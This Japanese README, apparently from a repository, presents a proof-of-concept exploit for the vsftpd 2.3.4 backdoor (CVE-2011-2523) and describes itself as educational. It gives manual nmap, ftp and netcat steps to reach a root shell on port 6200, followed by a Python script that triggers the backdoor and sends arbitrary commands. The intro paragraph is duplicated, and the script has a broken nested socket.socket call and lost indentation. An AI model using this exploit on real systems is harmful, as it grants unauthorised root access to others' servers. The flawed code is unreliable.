
vsftpd 2.3.4 (CVE-2011-2523) は、リバースルートシェルに繋がる重大な脆弱性です。このリポジトリでは、教育目的のため、手動および自動(Python)で段階的に悪用する方法の PoC を作成します。
vsftpd 2.3.4(CVE-2011-2523)は、Root Shell に到達する重大な脆弱性です。このリポジトリでは、教育目的で、この脆弱性を手動および自動(Python)で段階的に悪用する PoC を紹介します。
まず、これはサービス側のエクスプロイトなので、リモートから悪用します。仕組みはこうです。デフォルトでポート 21 の FTP サービスに :) を含むユーザー名で接続すると、システムが TCP ポート 6200 に Root Shell を開くようにトリガーされます。そのため、誰でも接続してターゲットサーバーへの Root アクセスを取得できてしまうのです。これは壊滅的な事態です。では、実際に段階を追ってやってみましょう。全体像をつかむために、まず手動で説明し、次に自動で悪用する Python スクリプトを紹介します。
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP
ftp Target_IP
nmap -p6200 Target_IP
ポート 6200 がオープンになりました。これがバックドアです
nc -nv Target_IP 6200
最後に、ターゲットマシン上で Root Shell を取得しました。

手動で実行したので、エクスプロイトの手順が分かりました。
:) を含むユーザー名を使用する。#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()